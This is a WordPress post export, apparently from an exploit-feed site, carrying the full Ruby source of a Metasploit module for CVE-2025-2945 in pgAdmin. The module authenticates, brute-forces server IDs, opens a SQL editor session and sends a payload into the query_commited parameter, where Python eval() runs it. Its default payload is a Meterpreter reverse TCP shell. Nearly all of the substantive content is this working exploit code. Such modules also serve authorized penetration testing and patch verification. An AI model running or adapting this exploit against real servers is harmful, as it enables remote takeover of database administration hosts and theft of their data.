{"id":15130,"date":"2025-08-29T15:37:55","date_gmt":"2025-08-29T15:37:55","guid":{"rendered":"http:\/\/localhost\/?p=15130"},"modified":"2025-08-29T15:37:55","modified_gmt":"2025-08-29T15:37:55","slug":"pgadmin-query-tool-authenticated-rce-cve-2025-2945","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=15130","title":{"rendered":"pgAdmin Query Tool authenticated RCE (CVE-2025-2945)_MSF:EXPLOIT-MULTI-HTTP-PGADMIN_QUERY_TOOL_AUTHENTICATED-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:21:14&#8243;,&#8221;description&#8221;:&#8221;This module exploits a vulnerability in pgAdmin where an authenticated user can establish a connection to the query tool     &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:41&#8243;,&#8221;modified&#8221;:&#8221;2025-04-11T18:54:17&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;pgAdmin Query Tool authenticated RCE (CVE-2025-2945)&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-MULTI-HTTP-PGADMIN_QUERY_TOOL_AUTHENTICATED-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-2945&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n  Rank = ExcellentRanking\\n\\n  prepend Msf::Exploit::Remote::AutoCheck\\n  include Msf::Exploit::Remote::HttpClient\\n  include Msf::Exploit::PgAdmin\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;pgAdmin Query Tool authenticated RCE (CVE-2025-2945)&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module exploits a vulnerability in pgAdmin where an authenticated user can establish a connection to the query tool\\n          and send a specific payload in the query_commited POST parameter. This payload is directly executed via a Python eval()\\n          statement, resulting in remote code execution in versions prior to 9.2.\\n\\n          To exploit this vulnerability, pgAdmin credentials are required. Additionally, in order to interact with the vulnerable\\n          SQL editor component, valid database credentials are necessary to initialize a session and obtain a transaction ID,\\n          which is required for the exploit.\\n        },\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;pyozzi-toss&#8217;, # Vulnerability discovery\\n          &#8216;jheysel-r7&#8217;   # msf module\\n        ],\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;CVE&#8217;, &#8216;2025-2945&#8217;],\\n        ],\\n        &#8216;Platform&#8217; =\\u003e [&#8216;python&#8217;],\\n        &#8216;Arch&#8217; =\\u003e [ ARCH_PYTHON],\\n        &#8216;Targets&#8217; =\\u003e [\\n          [\\n            &#8216;Python payload&#8217;,\\n            {\\n              &#8216;Platform&#8217; =\\u003e &#8216;python&#8217;,\\n              &#8216;Arch&#8217; =\\u003e ARCH_PYTHON,\\n              &#8216;DefaultOptions&#8217; =\\u003e { &#8216;PAYLOAD&#8217; =\\u003e &#8216;python\/meterpreter\/reverse_tcp&#8217; }\\n            }\\n          ]\\n        ],\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-04-03&#8217;,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n          &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS]\\n        }\\n      )\\n    )\\n\\n    register_options(\\n      [\\n        Opt::RPORT(80),\\n        OptString.new(&#8216;USERNAME&#8217;, [true, &#8216;The username to authenticate to pgadmin with&#8217;, &#8221;]),\\n        OptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;The password to authenticate to pgadmin with&#8217;, &#8221;]),\\n        OptString.new(&#8216;DB_USER&#8217;, [true, &#8216;The username to authenticate to the database with&#8217;, &#8221;]),\\n        OptString.new(&#8216;DB_PASS&#8217;, [true, &#8216;The password to authenticate to the database with&#8217;, &#8221;]),\\n        OptString.new(&#8216;DB_NAME&#8217;, [true, &#8216;The database to authenticate to&#8217;, &#8221;]),\\n        OptInt.new(&#8216;MAX_SERVER_ID&#8217;, [true, &#8216;The maximum number of Server IDs to try and connect to.&#8217;, 10]),\\n      ]\\n    )\\n  end\\n\\n  def check\\n    # Although there is no low bound mentioned in the advisory, we can see that the vulnerable eval() statement was\\n    # introduced in version 8.10: https:\/\/github.com\/pgadmin-org\/pgadmin4\/commit\/22cdb86aab5825787a36d149f8e6eb34fb26d817\\n    check_version(&#8216;9.2&#8217;, &#8216;8.10&#8217;)\\n  end\\n\\n  # Return only the required URI encoded fields in order for the POST request to be successful\\n  # @return [String] The URI encoded form data for the POST request\\n  def get_post_data\\n    URI.encode_www_form({\\n      &#8216;title&#8217; =\\u003e Faker::App.name.downcase,\\n      &#8216;selectedNodeInfo&#8217; =\\u003e {\\n        &#8216;database&#8217; =\\u003e {\\n          &#8216;id&#8217; =\\u003e Faker::App.name.downcase\\n        }\\n      }\\n    })\\n  end\\n\\n  def post_initialize_sqleditor(trans_id, sgid, sid, did)\\n    res = send_request_cgi({\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, \\&#8221;\/sqleditor\/initialize\/sqleditor\/#{trans_id}\/#{sgid}\/#{sid}\/#{did}\\&#8221;),\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;keep_cookies&#8217; =\\u003e true,\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n      &#8216;headers&#8217; =\\u003e { &#8216;X-pgA-CSRFToken&#8217; =\\u003e csrf_token },\\n      &#8216;data&#8217; =\\u003e {\\n        &#8216;user&#8217; =\\u003e datastore[&#8216;DB_USER&#8217;],\\n        &#8216;password&#8217; =\\u003e datastore[&#8216;DB_PASS&#8217;],\\n        &#8216;role&#8217; =\\u003e &#8221;,\\n        &#8216;dbname&#8217; =\\u003e datastore[&#8216;DB_NAME&#8217;]\\n      }.to_json\\n    })\\n\\n    unless res\\u0026.code == 200\\n      errmsg = res\\u0026.get_json_document\\u0026.dig(&#8216;result&#8217;, &#8216;errmsg&#8217;) || &#8216;unknown error&#8217;\\n      fail_with(Failure::UnexpectedReply, \\&#8221;Failed to initialize sqleditor: #{errmsg}\\&#8221;)\\n    end\\n\\n    print_good(&#8216;Successfully initialized sqleditor&#8217;)\\n  end\\n\\n  def find_valid_server_id(sgid)\\n    (1..datastore[&#8216;MAX_SERVER_ID&#8217;]).each do |sid|\\n      vprint_status(\\&#8221;Trying server ID: #{sid}\\&#8221;)\\n      res = send_request_cgi({\\n        &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, \\&#8221;\/sqleditor\/get_server_connection\/#{sgid}\/#{sid}\\&#8221;),\\n        &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n        &#8216;keep_cookies&#8217; =\\u003e true,\\n        &#8216;ctype&#8217; =\\u003e &#8216;application\/x-www-form-urlencoded&#8217;,\\n        &#8216;headers&#8217; =\\u003e {\\n          &#8216;X-pgA-CSRFToken&#8217; =\\u003e csrf_token\\n        }\\n      })\\n      if res\\u0026.get_json_document\\u0026.dig(&#8216;data&#8217;, &#8216;status&#8217;)\\n        return sid\\n      end\\n    end\\n    fail_with(Failure::NoTarget, &#8216;Failed to find a valid server ID, try increasing MAX_SERVER_ID&#8217;)\\n  end\\n\\n  # In order to interact with the vulnerable component, the SQL editor, we need to initialize a session and a valid\\n  # transaction ID. This is done by sending a POST request to the sqleditor\/panel endpoint with the necessary parameters\\n  # @return [String] The transaction ID for the SQL editor\\n  def sqleditor_init(trans_id)\\n    sgid = rand(1..10)\\n    did = rand(10000..99999)\\n    sid = find_valid_server_id(sgid)\\n    post_initialize_sqleditor(trans_id, sgid, sid, did)\\n  end\\n\\n  def exploit\\n    authenticate(datastore[&#8216;USERNAME&#8217;], datastore[&#8216;PASSWORD&#8217;])\\n    trans_id = rand(1_000_000..9_999_999)\\n    sqleditor_init(trans_id)\\n\\n    print_status(&#8216;Exploiting the target&#8230;&#8217;)\\n    res = send_request_cgi({\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, \\&#8221;\/sqleditor\/query_tool\/download\/#{trans_id}\\&#8221;),\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n      &#8216;keep_cookies&#8217; =\\u003e true,\\n      &#8216;headers&#8217; =\\u003e {\\n        &#8216;Referer&#8217; =\\u003e \\&#8221;http:\/\/#{datastore[&#8216;RHOST&#8217;]}:#{datastore[&#8216;RPORT&#8217;]}\/sqleditor\/panel\/#{trans_id}?is_query_tool=true\\&#8221;,\\n        &#8216;X-Pga-Csrftoken&#8217; =\\u003e csrf_token\\n      },\\n      &#8216;data&#8217; =\\u003e {\\n        &#8216;query_commited&#8217; =\\u003e payload.encoded\\n      }.to_json\\n    })\\n    print_error(&#8216;No response received from exploit attempt&#8217;) unless res\\n    print_good(&#8216;Received a 500 response from the exploit attempt, this is expected&#8217;) if res\\u0026.code == 500\\n    print_error(\\&#8221;Received an unexpected response code from the exploit attempt: #{res\\u0026.code}\\&#8221;) if res\\u0026.code != 500\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/http\/pgadmin_query_tool_authenticated.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.9,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/http\/pgadmin_query_tool_authenticated\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:21:14&#8243;,&#8221;description&#8221;:&#8221;This module exploits a vulnerability in pgAdmin where an authenticated user can establish a connection to the query tool &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:41&#8243;,&#8221;modified&#8221;:&#8221;2025-04-11T18:54:17&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;pgAdmin Query Tool authenticated RCE (CVE-2025-2945)&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-MULTI-HTTP-PGADMIN_QUERY_TOOL_AUTHENTICATED-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-2945&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n#&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,45,12,169,13,7,11,5],"class_list":["post-15130","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-99","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>pgAdmin Query Tool authenticated RCE (CVE-2025-2945)_MSF:EXPLOIT-MULTI-HTTP-PGADMIN_QUERY_TOOL_AUTHENTICATED- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=15130\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"pgAdmin Query Tool authenticated RCE (CVE-2025-2945)_MSF:EXPLOIT-MULTI-HTTP-PGADMIN_QUERY_TOOL_AUTHENTICATED- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:21:14&#8243;,&#8221;description&#8221;:&#8221;This module exploits a vulnerability in pgAdmin where an authenticated user can establish a connection to the query tool &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:41&#8243;,&#8221;modified&#8221;:&#8221;2025-04-11T18:54:17&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;pgAdmin Query Tool authenticated RCE (CVE-2025-2945)&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-MULTI-HTTP-PGADMIN_QUERY_TOOL_AUTHENTICATED-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-2945&#8243;],&#8221;sourceData&#8221;:&#8221;##n#...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=15130\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-08-29T15:37:55+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15130#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15130\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"pgAdmin Query Tool authenticated RCE (CVE-2025-2945)_MSF:EXPLOIT-MULTI-HTTP-PGADMIN_QUERY_TOOL_AUTHENTICATED-\",\"datePublished\":\"2025-08-29T15:37:55+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15130\"},\"wordCount\":1140,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.9\",\"exploit\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=15130#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15130\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15130\",\"name\":\"pgAdmin Query Tool authenticated RCE (CVE-2025-2945)_MSF:EXPLOIT-MULTI-HTTP-PGADMIN_QUERY_TOOL_AUTHENTICATED- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-08-29T15:37:55+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15130#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=15130\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15130#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"pgAdmin Query Tool authenticated RCE (CVE-2025-2945)_MSF:EXPLOIT-MULTI-HTTP-PGADMIN_QUERY_TOOL_AUTHENTICATED-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"pgAdmin Query Tool authenticated RCE (CVE-2025-2945)_MSF:EXPLOIT-MULTI-HTTP-PGADMIN_QUERY_TOOL_AUTHENTICATED- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=15130","og_locale":"en_US","og_type":"article","og_title":"pgAdmin Query Tool authenticated RCE (CVE-2025-2945)_MSF:EXPLOIT-MULTI-HTTP-PGADMIN_QUERY_TOOL_AUTHENTICATED- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:21:14&#8243;,&#8221;description&#8221;:&#8221;This module exploits a vulnerability in pgAdmin where an authenticated user can establish a connection to the query tool &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:41&#8243;,&#8221;modified&#8221;:&#8221;2025-04-11T18:54:17&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;pgAdmin Query Tool authenticated RCE (CVE-2025-2945)&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-MULTI-HTTP-PGADMIN_QUERY_TOOL_AUTHENTICATED-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-2945&#8243;],&#8221;sourceData&#8221;:&#8221;##n#...","og_url":"https:\/\/zero.redgem.net\/?p=15130","og_site_name":"zero redgem","article_published_time":"2025-08-29T15:37:55+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=15130#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=15130"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"pgAdmin Query Tool authenticated RCE (CVE-2025-2945)_MSF:EXPLOIT-MULTI-HTTP-PGADMIN_QUERY_TOOL_AUTHENTICATED-","datePublished":"2025-08-29T15:37:55+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=15130"},"wordCount":1140,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.9","exploit","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=15130#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=15130","url":"https:\/\/zero.redgem.net\/?p=15130","name":"pgAdmin Query Tool authenticated RCE (CVE-2025-2945)_MSF:EXPLOIT-MULTI-HTTP-PGADMIN_QUERY_TOOL_AUTHENTICATED- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-08-29T15:37:55+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=15130#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=15130"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=15130#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"pgAdmin Query Tool authenticated RCE (CVE-2025-2945)_MSF:EXPLOIT-MULTI-HTTP-PGADMIN_QUERY_TOOL_AUTHENTICATED-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/15130","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=15130"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/15130\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=15130"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=15130"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=15130"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}